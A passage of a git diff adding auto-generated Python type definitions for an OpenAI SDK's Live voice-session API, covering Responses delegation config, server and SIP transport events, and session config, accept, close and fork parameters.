+ The reasoning summary to request from the delegated Responses model, when
+ supported.
+ """
+
+
+class Text(TypedDict, total=False):
+ """Text generation settings passed to each delegated Responses request."""
+
+ verbosity: Optional[Literal["low", "medium", "high"]]
+ """The amount of detail in text generated by the Responses backend.
+
+ This does not configure the Live model’s spoken delivery.
+ """
+
+
+class ToolChoiceLiveFunctionToolChoiceParam(TypedDict, total=False):
+ name: Required[str]
+
+ type: Required[Literal["function"]]
+
+
+class ToolChoiceLiveMCPToolChoiceParam(TypedDict, total=False):
+ name: Required[str]
+
+ server_label: Required[str]
+
+ type: Required[Literal["mcp"]]
+
+
+ToolChoice: TypeAlias = Union[
+ Literal["auto", "none", "required"], ToolChoiceLiveFunctionToolChoiceParam, ToolChoiceLiveMCPToolChoiceParam
+]
+
+
+class ToolWebSearch(TypedDict, total=False):
+ """A web search tool available to the Live session’s Responses backend."""
+
+ type: Required[Literal["web_search"]]
+ """The tool type. Always `web_search`."""
+
+
+Tool: TypeAlias = Union[FunctionToolParam, ToolWebSearch]
+
+
+class ResponsesDelegationConfigParam(TypedDict, total=False):
+ """
+ Model, prompt, and tool settings for tasks delegated by the Live session to a Responses backend.
+ """
+
+ model: Required[str]
+ """The model used for server-owned Responses delegations."""
+
+ instructions: Optional[str]
+ """Instructions for the delegated Responses model, separate from Live instructions.
+
+ See
+ [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ """
+
+ max_output_tokens: Optional[int]
+ """Maximum number of output tokens for each delegated response."""
+
+ parallel_tool_calls: Optional[bool]
+ """
+ Whether the delegated Responses model may request multiple tool calls in a
+ single response.
+ """
+
+ reasoning: Optional[Reasoning]
+ """Reasoning settings passed to each delegated Responses request."""
+
+ service_tier: Optional[Literal["auto", "default", "fast_tier_temp_pilot", "flex", "priority", "ultrafast"]]
+ """Service tier for delegated Responses requests."""
+
+ text: Optional[Text]
+ """Text generation settings passed to each delegated Responses request."""
+
+ tool_choice: ToolChoice
+ """
+ Controls which tool the Responses backend uses when handling a task delegated by
+ the Live model.
+ """
+
+ tools: Iterable[Tool]
+ """
+ Tools available to the Responses backend while it handles tasks delegated by the
+ Live model.
+ """
diff --git a/src/openai/types/live/responses_delegation_update_config.py b/src/openai/types/live/responses_delegation_update_config.py
new file mode 100644
index 0000000000..03a01dacaf
--- /dev/null
+++ b/src/openai/types/live/responses_delegation_update_config.py
@@ -0,0 +1,124 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .function_tool import FunctionTool
+
+__all__ = [
+ "ResponsesDelegationUpdateConfig",
+ "Reasoning",
+ "Text",
+ "ToolChoice",
+ "ToolChoiceLiveFunctionToolChoiceParam",
+ "ToolChoiceLiveMCPToolChoiceParam",
+ "Tool",
+ "ToolWebSearch",
+]
+
+
+class Reasoning(BaseModel):
+ """Reasoning settings passed to each delegated Responses request."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh"]] = None
+ """How much reasoning effort the delegated Responses model should use.
+
+ Supported values depend on the backend model.
+ """
+
+ summary: Optional[Literal["concise", "detailed", "auto"]] = None
+ """
+ The reasoning summary to request from the delegated Responses model, when
+ supported.
+ """
+
+
+class Text(BaseModel):
+ """Text generation settings passed to each delegated Responses request."""
+
+ verbosity: Optional[Literal["low", "medium", "high"]] = None
+ """The amount of detail in text generated by the Responses backend.
+
+ This does not configure the Live model’s spoken delivery.
+ """
+
+
+class ToolChoiceLiveFunctionToolChoiceParam(BaseModel):
+ name: str
+
+ type: Literal["function"]
+
+
+class ToolChoiceLiveMCPToolChoiceParam(BaseModel):
+ name: str
+
+ server_label: str
+
+ type: Literal["mcp"]
+
+
+ToolChoice: TypeAlias = Union[
+ Literal["auto", "none", "required"], ToolChoiceLiveFunctionToolChoiceParam, ToolChoiceLiveMCPToolChoiceParam
+]
+
+
+class ToolWebSearch(BaseModel):
+ """A web search tool available to the Live session’s Responses backend."""
+
+ type: Literal["web_search"]
+ """The tool type. Always `web_search`."""
+
+
+Tool: TypeAlias = Annotated[Union[FunctionTool, ToolWebSearch], PropertyInfo(discriminator="type")]
+
+
+class ResponsesDelegationUpdateConfig(BaseModel):
+ """Updates to the Responses backend of an existing Live session.
+
+ Omitted settings retain their current values.
+ """
+
+ instructions: Optional[str] = None
+ """Instructions for the delegated Responses model, separate from Live instructions.
+
+ See
+ [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ """
+
+ max_output_tokens: Optional[int] = None
+ """Maximum number of output tokens for each delegated response."""
+
+ model: Optional[str] = None
+ """The Responses backend model to use for subsequent delegated requests.
+
+ Omit to keep the current backend model.
+ """
+
+ parallel_tool_calls: Optional[bool] = None
+ """
+ Whether the delegated Responses model may request multiple tool calls in a
+ single response.
+ """
+
+ reasoning: Optional[Reasoning] = None
+ """Reasoning settings passed to each delegated Responses request."""
+
+ service_tier: Optional[Literal["auto", "default", "fast_tier_temp_pilot", "flex", "priority", "ultrafast"]] = None
+ """Service tier for delegated Responses requests."""
+
+ text: Optional[Text] = None
+ """Text generation settings passed to each delegated Responses request."""
+
+ tool_choice: Optional[ToolChoice] = None
+ """
+ Controls which tool the Responses backend uses when handling a task delegated by
+ the Live model.
+ """
+
+ tools: Optional[List[Tool]] = None
+ """
+ Tools available to the Responses backend while it handles tasks delegated by the
+ Live model.
+ """
diff --git a/src/openai/types/live/responses_delegation_update_config_param.py b/src/openai/types/live/responses_delegation_update_config_param.py
new file mode 100644
index 0000000000..740691d546
--- /dev/null
+++ b/src/openai/types/live/responses_delegation_update_config_param.py
@@ -0,0 +1,124 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .function_tool_param import FunctionToolParam
+
+__all__ = [
+ "ResponsesDelegationUpdateConfigParam",
+ "Reasoning",
+ "Text",
+ "ToolChoice",
+ "ToolChoiceLiveFunctionToolChoiceParam",
+ "ToolChoiceLiveMCPToolChoiceParam",
+ "Tool",
+ "ToolWebSearch",
+]
+
+
+class Reasoning(TypedDict, total=False):
+ """Reasoning settings passed to each delegated Responses request."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh"]]
+ """How much reasoning effort the delegated Responses model should use.
+
+ Supported values depend on the backend model.
+ """
+
+ summary: Optional[Literal["concise", "detailed", "auto"]]
+ """
+ The reasoning summary to request from the delegated Responses model, when
+ supported.
+ """
+
+
+class Text(TypedDict, total=False):
+ """Text generation settings passed to each delegated Responses request."""
+
+ verbosity: Optional[Literal["low", "medium", "high"]]
+ """The amount of detail in text generated by the Responses backend.
+
+ This does not configure the Live model’s spoken delivery.
+ """
+
+
+class ToolChoiceLiveFunctionToolChoiceParam(TypedDict, total=False):
+ name: Required[str]
+
+ type: Required[Literal["function"]]
+
+
+class ToolChoiceLiveMCPToolChoiceParam(TypedDict, total=False):
+ name: Required[str]
+
+ server_label: Required[str]
+
+ type: Required[Literal["mcp"]]
+
+
+ToolChoice: TypeAlias = Union[
+ Literal["auto", "none", "required"], ToolChoiceLiveFunctionToolChoiceParam, ToolChoiceLiveMCPToolChoiceParam
+]
+
+
+class ToolWebSearch(TypedDict, total=False):
+ """A web search tool available to the Live session’s Responses backend."""
+
+ type: Required[Literal["web_search"]]
+ """The tool type. Always `web_search`."""
+
+
+Tool: TypeAlias = Union[FunctionToolParam, ToolWebSearch]
+
+
+class ResponsesDelegationUpdateConfigParam(TypedDict, total=False):
+ """Updates to the Responses backend of an existing Live session.
+
+ Omitted settings retain their current values.
+ """
+
+ instructions: Optional[str]
+ """Instructions for the delegated Responses model, separate from Live instructions.
+
+ See
+ [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ """
+
+ max_output_tokens: Optional[int]
+ """Maximum number of output tokens for each delegated response."""
+
+ model: str
+ """The Responses backend model to use for subsequent delegated requests.
+
+ Omit to keep the current backend model.
+ """
+
+ parallel_tool_calls: Optional[bool]
+ """
+ Whether the delegated Responses model may request multiple tool calls in a
+ single response.
+ """
+
+ reasoning: Optional[Reasoning]
+ """Reasoning settings passed to each delegated Responses request."""
+
+ service_tier: Optional[Literal["auto", "default", "fast_tier_temp_pilot", "flex", "priority", "ultrafast"]]
+ """Service tier for delegated Responses requests."""
+
+ text: Optional[Text]
+ """Text generation settings passed to each delegated Responses request."""
+
+ tool_choice: ToolChoice
+ """
+ Controls which tool the Responses backend uses when handling a task delegated by
+ the Live model.
+ """
+
+ tools: Iterable[Tool]
+ """
+ Tools available to the Responses backend while it handles tasks delegated by the
+ Live model.
+ """
diff --git a/src/openai/types/live/server_event.py b/src/openai/types/live/server_event.py
new file mode 100644
index 0000000000..416dd51e81
--- /dev/null
+++ b/src/openai/types/live/server_event.py
@@ -0,0 +1,161 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .info_event import InfoEvent
+from .error_event import ErrorEvent
+from .response_event import ResponseEvent
+from .session_closed_event import SessionClosedEvent
+from .session_started_event import SessionStartedEvent
+from .session_updated_event import SessionUpdatedEvent
+from .input_audio_muted_event import InputAudioMutedEvent
+from .thinking_appended_event import ThinkingAppendedEvent
+from .delegation_created_event import DelegationCreatedEvent
+from .output_audio_delta_event import OutputAudioDeltaEvent
+from .commentary_appended_event import CommentaryAppendedEvent
+from .input_audio_unmuted_event import InputAudioUnmutedEvent
+from .instructions_appended_event import InstructionsAppendedEvent
+from .session_usage_updated_event import SessionUsageUpdatedEvent
+from .input_transcript_delta_event import InputTranscriptDeltaEvent
+from .output_transcript_delta_event import OutputTranscriptDeltaEvent
+
+__all__ = [
+ "ServerEvent",
+ "SessionInputAudioAppend",
+ "TransportDtmfReceived",
+ "TransportDtmfSend",
+ "TransportRinging",
+ "TransportAnswered",
+ "TransportFailed",
+ "TransportFailedError",
+]
+
+
+class SessionInputAudioAppend(BaseModel):
+ """
+ Input audio received from the primary transport and reflected to a Live sideband connection before model-input muting.
+ """
+
+ audio: str
+ """
+ Base64-encoded raw mono PCM16LE at 24 kHz received from the primary transport,
+ reflected to the sideband before model-input muting. This server event uses the
+ same audio key as the client command, but is not an acknowledgment of it.
+ """
+
+ type: Literal["session.input_audio.append"]
+ """The event type, always `session.input_audio.append`."""
+
+
+class TransportDtmfReceived(BaseModel):
+ """A SIP DTMF keypress received from the caller.
+
+ Delivered only to sideband observers.
+ """
+
+ event: str
+
+ event_id: str
+
+ type: Literal["transport.dtmf.received"]
+
+
+class TransportDtmfSend(BaseModel):
+ """A SIP DTMF keypress successfully sent by the hosted tool.
+
+ Delivered only to sideband observers; this is not a client command.
+ """
+
+ event: str
+
+ event_id: str
+
+ type: Literal["transport.dtmf.send"]
+
+
+class TransportRinging(BaseModel):
+ """The outbound SIP provider leg is ringing or providing early media.
+
+ Delivered only to sideband observers.
+ """
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.ringing"]
+
+
+class TransportAnswered(BaseModel):
+ """The outbound SIP provider leg answered and media is established.
+
+ Delivered only to sideband observers.
+ """
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.answered"]
+
+
+class TransportFailedError(BaseModel):
+ code: str
+ """The call setup failure code."""
+
+ message: str
+
+ type: Literal["call_error"]
+
+ param: Optional[str] = None
+ """The parameter related to the error, if any. Empty when no parameter applies."""
+
+
+class TransportFailed(BaseModel):
+ """An asynchronous outbound SIP setup failure.
+
+ Delivered only to sideband observers.
+ """
+
+ error: TransportFailedError
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.failed"]
+
+
+ServerEvent: TypeAlias = Annotated[
+ Union[
+ SessionStartedEvent,
+ SessionUpdatedEvent,
+ InputAudioMutedEvent,
+ InputAudioUnmutedEvent,
+ InstructionsAppendedEvent,
+ ThinkingAppendedEvent,
+ CommentaryAppendedEvent,
+ SessionInputAudioAppend,
+ OutputAudioDeltaEvent,
+ InputTranscriptDeltaEvent,
+ OutputTranscriptDeltaEvent,
+ DelegationCreatedEvent,
+ ResponseEvent,
+ SessionUsageUpdatedEvent,
+ SessionClosedEvent,
+ ErrorEvent,
+ InfoEvent,
+ TransportDtmfReceived,
+ TransportDtmfSend,
+ TransportRinging,
+ TransportAnswered,
+ TransportFailed,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/server_event_selector.py b/src/openai/types/live/server_event_selector.py
new file mode 100644
index 0000000000..528f647109
--- /dev/null
+++ b/src/openai/types/live/server_event_selector.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+
+from ..._models import BaseModel
+
+__all__ = ["ServerEventSelector"]
+
+
+class ServerEventSelector(BaseModel):
+ """A Live server event selector for the WebRTC frontend data channel."""
+
+ type: str
+ """The outer Live server event type. Use 'response.event' for Responses events."""
+
+ response_event: Optional[str] = None
+ """The nested Responses event type.
+
+ Required when type is 'response.event'; forbidden for other event types.
+ """
diff --git a/src/openai/types/live/server_event_selector_param.py b/src/openai/types/live/server_event_selector_param.py
new file mode 100644
index 0000000000..20c6b3feaa
--- /dev/null
+++ b/src/openai/types/live/server_event_selector_param.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+__all__ = ["ServerEventSelectorParam"]
+
+
+class ServerEventSelectorParam(TypedDict, total=False):
+ """A Live server event selector for the WebRTC frontend data channel."""
+
+ type: Required[str]
+ """The outer Live server event type. Use 'response.event' for Responses events."""
+
+ response_event: str
+ """The nested Responses event type.
+
+ Required when type is 'response.event'; forbidden for other event types.
+ """
diff --git a/src/openai/types/live/session_accept_params.py b/src/openai/types/live/session_accept_params.py
new file mode 100644
index 0000000000..96946c4881
--- /dev/null
+++ b/src/openai/types/live/session_accept_params.py
@@ -0,0 +1,128 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .built_in_voice import BuiltInVoice
+from .custom_voice_param import CustomVoiceParam
+from .initial_item_param import InitialItemParam
+from .client_delegation_param import ClientDelegationParam
+from .responses_delegation_config_param import ResponsesDelegationConfigParam
+
+__all__ = [
+ "SessionAcceptParams",
+ "Session",
+ "SessionAudio",
+ "SessionAudioOutput",
+ "SessionAudioOutputVoice",
+ "SessionDelegation",
+ "SessionDelegationResponses",
+]
+
+
+class SessionAcceptParams(TypedDict, total=False):
+ session: Required[Session]
+ """
+ Model and startup configuration for the Live session that answers the incoming
+ SIP call.
+ """
+
+
+SessionAudioOutputVoice: TypeAlias = Union[str, BuiltInVoice, CustomVoiceParam]
+
+
+class SessionAudioOutput(TypedDict, total=False):
+ """Settings for speech generated by the Live model.
+
+ Choose the voice before starting the session.
+ """
+
+ voice: SessionAudioOutputVoice
+ """
+ The voice used for Live speech, as a built-in voice name or a custom voice
+ object containing its ID. Defaults to `marin` and cannot change after startup.
+ """
+
+
+class SessionAudio(TypedDict, total=False):
+ """Startup audio output configuration.
+
+ SIP negotiates the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
+ """
+
+ output: SessionAudioOutput
+ """Settings for speech generated by the Live model.
+
+ Choose the voice before starting the session.
+ """
+
+
+class SessionDelegationResponses(TypedDict, total=False):
+ """Delegate tasks to a Responses model managed by the Live session."""
+
+ responses: Required[ResponsesDelegationConfigParam]
+ """
+ Backend model, prompt, and tools used when the Live session delegates a task to
+ Responses.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+
+SessionDelegation: TypeAlias = Union[ClientDelegationParam, SessionDelegationResponses]
+
+
+class Session(TypedDict, total=False):
+ """
+ Model and startup configuration for the Live session that answers the incoming SIP call.
+ """
+
+ model: Required[Union[str, Literal["gpt-live-1"]]]
+ """The Live model to use for the accepted call."""
+
+ type: Required[Literal["live"]]
+ """The session type. Always `live`."""
+
+ audio: SessionAudio
+ """Startup audio output configuration.
+
+ SIP negotiates the media format; audio.format is only accepted for primary
+ WebSockets. Voice cannot change after startup.
+ """
+
+ delegation: Optional[SessionDelegation]
+ """Who handles tasks delegated by the Live model.
+
+ Omitted or null selects your application; use `responses` to let the API manage
+ a Responses backend.
+ """
+
+ input: Iterable[InitialItemParam]
+ """Ordered text-only history supplied before startup.
+
+ Supports developer, user, and assistant messages with one text part each; at
+ most 128 messages and 8,192 rendered tokens in total.
+ """
+
+ instructions: Optional[str]
+ """
+ Frontend instructions for voice, conversation, interruptions, and when to
+ delegate. Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting);
+ put business rules and tool workflows in a separate
+ [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ Limited to 16,384 client-supplied tokens. Omitted or blank instructions use
+ server defaults. Immutable after startup.
+ """
+
+ store: bool
+ """Whether to store the session for later forking and recording download.
+
+ Defaults to false for new sessions.
+ """
diff --git a/src/openai/types/live/session_close_event.py b/src/openai/types/live/session_close_event.py
new file mode 100644
index 0000000000..e301e901ed
--- /dev/null
+++ b/src/openai/types/live/session_close_event.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SessionCloseEvent"]
+
+
+class SessionCloseEvent(BaseModel):
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+
+ type: Literal["session.close"]
+ """The Live client event type. Always `session.close`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_close_event_param.py b/src/openai/types/live/session_close_event_param.py
new file mode 100644
index 0000000000..bbefae6082
--- /dev/null
+++ b/src/openai/types/live/session_close_event_param.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["SessionCloseEventParam"]
+
+
+class SessionCloseEventParam(TypedDict, total=False):
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+
+ type: Required[Literal["session.close"]]
+ """The Live client event type. Always `session.close`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_closed_event.py b/src/openai/types/live/session_closed_event.py
new file mode 100644
index 0000000000..958eb4546c
--- /dev/null
+++ b/src/openai/types/live/session_closed_event.py
@@ -0,0 +1,42 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_usage import SessionUsage
+from .session_resource import SessionResource
+
+__all__ = ["SessionClosedEvent"]
+
+
+class SessionClosedEvent(BaseModel):
+ """
+ Returned after the Live session finishes finalizing, with the close reason, final session snapshot, and cumulative audio usage. A connection closing without this event does not confirm successful finalization.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ reason: Literal["close_requested", "expired", "content", "remote_hangup", "connection_lost"]
+ """
+ Why the Live session ended: `close_requested` for an application close or hangup
+ request, `expired` for the session duration limit, `content` for a safety
+ filter, `remote_hangup` for a graceful remote disconnect, or `connection_lost`
+ for an unexpected primary or upstream disconnection.
+ """
+
+ session: SessionResource
+ """The resolved Live session configuration and server-assigned session metadata."""
+
+ type: Literal["session.closed"]
+ """The event type, always `session.closed`."""
+
+ usage: SessionUsage
+ """The final cumulative Live audio usage after session finalization."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/session_config.py b/src/openai/types/live/session_config.py
new file mode 100644
index 0000000000..8d4c8f3f36
--- /dev/null
+++ b/src/openai/types/live/session_config.py
@@ -0,0 +1,122 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .audio_format import AudioFormat
+from .custom_voice import CustomVoice
+from .initial_item import InitialItem
+from .client_config import ClientConfig
+from .built_in_voice import BuiltInVoice
+from .client_delegation import ClientDelegation
+from .responses_delegation_config import ResponsesDelegationConfig
+
+__all__ = ["SessionConfig", "Audio", "AudioOutput", "AudioOutputVoice", "Delegation", "DelegationResponses"]
+
+AudioOutputVoice: TypeAlias = Union[str, BuiltInVoice, CustomVoice]
+
+
+class AudioOutput(BaseModel):
+ """The voice used for speech generated by the Live model."""
+
+ voice: Optional[AudioOutputVoice] = None
+ """
+ The voice used for Live speech, as a built-in voice name or a custom voice
+ object containing its ID. Defaults to `marin` and cannot change after startup.
+ """
+
+
+class Audio(BaseModel):
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ """
+
+ format: Optional[AudioFormat] = None
+ """
+ Audio encoding and sample rate for audio sent and received over a Live WebSocket
+ connection. WebRTC and SIP negotiate their media format separately.
+ """
+
+ output: Optional[AudioOutput] = None
+ """The voice used for speech generated by the Live model."""
+
+
+class DelegationResponses(BaseModel):
+ """Delegate tasks to a Responses model managed by the Live session."""
+
+ responses: ResponsesDelegationConfig
+ """
+ Backend model, prompt, and tools used when the Live session delegates a task to
+ Responses.
+ """
+
+ type: Literal["responses"]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+
+Delegation: TypeAlias = Annotated[
+ Union[ClientDelegation, DelegationResponses, None], PropertyInfo(discriminator="type")
+]
+
+
+class SessionConfig(BaseModel):
+ """
+ Initial configuration for a Live session, including its model, conversation instructions, audio, and delegated task handling.
+ """
+
+ model: Union[str, Literal["gpt-live-1"]]
+ """The Live model.
+
+ Required in the session configuration for every transport; do not pass it as a
+ URL query parameter.
+ """
+
+ audio: Optional[Audio] = None
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their
+ media format. Voice and format are immutable after startup.
+ """
+
+ client: Optional[ClientConfig] = None
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC
+ session. Trusted sideband connections are unaffected.
+ """
+
+ delegation: Optional[Delegation] = None
+ """Who handles tasks delegated by the Live model.
+
+ Omitted or null selects your application; use `responses` to let the API manage
+ a Responses backend.
+ """
+
+ input: Optional[List[InitialItem]] = None
+ """Ordered text-only history supplied before startup.
+
+ Supports developer, user, and assistant messages with one text part each; at
+ most 128 messages and 8,192 rendered tokens in total.
+ """
+
+ instructions: Optional[str] = None
+ """
+ Frontend instructions for voice, conversation, interruptions, and when to
+ delegate. Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting);
+ put business rules and tool workflows in a separate
+ [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ Limited to 16,384 client-supplied tokens. Omitted or blank instructions use
+ server defaults. Immutable after startup.
+ """
+
+ store: Optional[bool] = None
+ """Whether to store the session for later forking and recording download.
+
+ Defaults to false for new sessions.
+ """
diff --git a/src/openai/types/live/session_config_param.py b/src/openai/types/live/session_config_param.py
new file mode 100644
index 0000000000..2d68b77af9
--- /dev/null
+++ b/src/openai/types/live/session_config_param.py
@@ -0,0 +1,120 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .built_in_voice import BuiltInVoice
+from .audio_format_param import AudioFormatParam
+from .custom_voice_param import CustomVoiceParam
+from .initial_item_param import InitialItemParam
+from .client_config_param import ClientConfigParam
+from .client_delegation_param import ClientDelegationParam
+from .responses_delegation_config_param import ResponsesDelegationConfigParam
+
+__all__ = ["SessionConfigParam", "Audio", "AudioOutput", "AudioOutputVoice", "Delegation", "DelegationResponses"]
+
+AudioOutputVoice: TypeAlias = Union[str, BuiltInVoice, CustomVoiceParam]
+
+
+class AudioOutput(TypedDict, total=False):
+ """The voice used for speech generated by the Live model."""
+
+ voice: AudioOutputVoice
+ """
+ The voice used for Live speech, as a built-in voice name or a custom voice
+ object containing its ID. Defaults to `marin` and cannot change after startup.
+ """
+
+
+class Audio(TypedDict, total=False):
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ """
+
+ format: AudioFormatParam
+ """
+ Audio encoding and sample rate for audio sent and received over a Live WebSocket
+ connection. WebRTC and SIP negotiate their media format separately.
+ """
+
+ output: AudioOutput
+ """The voice used for speech generated by the Live model."""
+
+
+class DelegationResponses(TypedDict, total=False):
+ """Delegate tasks to a Responses model managed by the Live session."""
+
+ responses: Required[ResponsesDelegationConfigParam]
+ """
+ Backend model, prompt, and tools used when the Live session delegates a task to
+ Responses.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+
+Delegation: TypeAlias = Union[ClientDelegationParam, DelegationResponses]
+
+
+class SessionConfigParam(TypedDict, total=False):
+ """
+ Initial configuration for a Live session, including its model, conversation instructions, audio, and delegated task handling.
+ """
+
+ model: Required[Union[str, Literal["gpt-live-1"]]]
+ """The Live model.
+
+ Required in the session configuration for every transport; do not pass it as a
+ URL query parameter.
+ """
+
+ audio: Audio
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their
+ media format. Voice and format are immutable after startup.
+ """
+
+ client: ClientConfigParam
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC
+ session. Trusted sideband connections are unaffected.
+ """
+
+ delegation: Optional[Delegation]
+ """Who handles tasks delegated by the Live model.
+
+ Omitted or null selects your application; use `responses` to let the API manage
+ a Responses backend.
+ """
+
+ input: Iterable[InitialItemParam]
+ """Ordered text-only history supplied before startup.
+
+ Supports developer, user, and assistant messages with one text part each; at
+ most 128 messages and 8,192 rendered tokens in total.
+ """
+
+ instructions: Optional[str]
+ """
+ Frontend instructions for voice, conversation, interruptions, and when to
+ delegate. Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting);
+ put business rules and tool workflows in a separate
+ [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ Limited to 16,384 client-supplied tokens. Omitted or blank instructions use
+ server defaults. Immutable after startup.
+ """
+
+ store: bool
+ """Whether to store the session for later forking and recording download.
+
+ Defaults to false for new sessions.
+ """
diff --git a/src/openai/types/live/session_fork_params.py b/src/openai/types/live/session_fork_params.py
new file mode 100644
index 0000000000..dd823a14a1
--- /dev/null
+++ b/src/openai/types/live/session_fork_params.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .media_session_fork_config_param import MediaSessionForkConfigParam
+
+__all__ = ["SessionForkParams", "Transport"]
+
+
+class SessionForkParams(TypedDict, total=False):
+ transport: Required[Transport]
+ """
+ WebRTC transport with an SDP offer for the new connection to the forked session.
+ """
+
+ session: MediaSessionForkConfigParam
+ """Optional configuration overrides for the new Live session.
+
+ Omit this object or send an empty object to inherit the stored session's
+ settings.
+ """
+
+
+class Transport(TypedDict, total=False):
+ """
+ WebRTC transport with an SDP offer for the new connection to the forked session.
+ """
+
+ sdp: Required[str]
+ """Session Description Protocol message for the WebRTC connection."""
+
+ type: Required[Literal["webrtc"]]
+ """The transport used for the Live session. Always `webrtc`."""
diff --git a/src/openai/types/live/session_fork_response.py b/src/openai/types/live/session_fork_response.py
new file mode 100644
index 0000000000..3b305477b7
--- /dev/null
+++ b/src/openai/types/live/session_fork_response.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SessionForkResponse", "Session", "Transport"]
+
+
+class Session(BaseModel):
+ """The newly created Live session.
+
+ Use its ID for session controls and sideband connections.
+ """
+
+ id: str
+ """Opaque session identifier.
+
+ Preserve the returned value unchanged, including its prefix.
+ """
+
+
+class Transport(BaseModel):
+ """WebRTC transport with the SDP answer."""
+
+ sdp: str
+ """Session Description Protocol message for the WebRTC connection."""
+
+ type: Literal["webrtc"]
+ """The transport used for the Live session. Always `webrtc`."""
+
+
+class SessionForkResponse(BaseModel):
+ """The created Live session identifier and WebRTC answer.
+
+ Apply transport.sdp as the peer's remote answer and wait for session.started on the data channel before sending commands.
+ """
+
+ session: Session
+ """The newly created Live session.
+
+ Use its ID for session controls and sideband connections.
+ """
+
+ transport: Transport
+ """WebRTC transport with the SDP answer."""
diff --git a/src/openai/types/live/session_refer_params.py b/src/openai/types/live/session_refer_params.py
new file mode 100644
index 0000000000..b7025ea988
--- /dev/null
+++ b/src/openai/types/live/session_refer_params.py
